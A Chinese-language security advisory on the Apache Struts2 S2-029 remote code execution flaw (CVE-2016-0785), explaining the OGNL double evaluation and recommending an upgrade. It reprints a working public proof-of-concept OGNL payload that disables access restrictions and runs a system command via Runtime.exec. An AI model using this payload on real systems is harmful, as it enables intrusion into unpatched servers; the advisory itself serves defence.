Apache Struts2 再曝高危漏洞(CVE-2016-0785)

  • 来源:深信服安全中心
  • 发布时间:2016-03-19
#

事件描述

近日,Apache Struts2 发布的最新安全公告S2-029中显示,Struts2  存在远程代码执行漏洞。Struts 2.0.0 – Struts Struts 2.3.24.1 版本均受到该漏洞影响。这个漏洞危险级别被定义为高危,漏洞 CVE 编号 CVE-2016-0785。

1.png

百科:

Struts2 是全球使用最广泛的 Java web 服务器框架之一。Struts2 是 Struts 的下一代产品,是在 struts1 和 WebWork 的技术基础上进行了合并的全新的 Struts2 框架。 

之前 S2-005,S2-009,S2-013,S2-016,S2-20 都存在远程命令执行漏洞,使得大量的网站系统遭受入侵。因此,该漏洞一经曝光就在安全圈内引起轩然大波。

漏洞概要:

S2-029 漏洞产生原因主要在于,Struts2 的标签库使用 OGNL 表达式来访问 ActionContext 中的对象数据,为了能够访问到 ActionContext 中的变量,Struts2 将 ActionContext 设置为 OGNL 的上下文,并将 OGNL 的跟对象加入 ActionContext 中。

用户可以控制特定标签的属性,通过 OGNL 二次计算可以执行任意命令。

例如:

 0.png

这个标签就调用了 OGNL 进行取值,Struts2 会解析 value 中的值,并当作 OGNL 表达式进行执行。

 OGNL第一次计算:

String name = findString(this.name, “name”, “Resource bundle name is required. Example: foo or foo_en”);

 OGNL表达式为 #parameters.msg,计算后得到 parameters的属性,并将其属性值赋值给 value。

 OGNL第二次计算:

ResourceBundle bundle = (ResourceBundle)findValue(“getTexts(‘” + name + “‘)”);

对上面获取的属性值继续做 OGNL表达式执行。

漏洞详情:Apache Struts2 远程代码执行漏洞

专家解读

漏洞利用:

互联上已公开漏洞POC:

123.png

在poc中设置 request 的 lan 属性为:
#_memberAccess[‘allowPrivateAccess’]=true 用来授权访问private方法
#_memberAccess[‘allowStaticMethodAccess’]=true 用来授权允许调用静态方法,
#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’] 用来将受限的包名设置为空
#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’] 用来将受限的类名设置为空
#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”) 执行系统命令,在 /tmp 目录下生成 dbapptest 文件

整段代码的关键部分在于最后一行:            xxxxx    。在 i18n 标签中的 name 值会经过两次 OGNL 计算,从而导致远程代码执行。

第一次计算,其中运行的 OGNL 表达式为 %{request.lan},则 OGNL 表达式执行结果为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

执行完成之后将结果赋值给 name, name值为:

‘),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(‘

然后将 name 值进行第二次 OGNL 计算,其中 OGNL 表达式变为
getText(”),request,#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#a=@java.lang.Runtime@getRuntime(),#a.exec(‘touch /tmp/dbapptest’),new java.lang.String(”)

从而导致命令执行,在 /tmp 目录下生成 dbapptest 文件

 2.png

解决方案

1、严格验证新添加的 Struts 标签参数的属性;

2、建议用户将Struts升级至 2.3.26版本。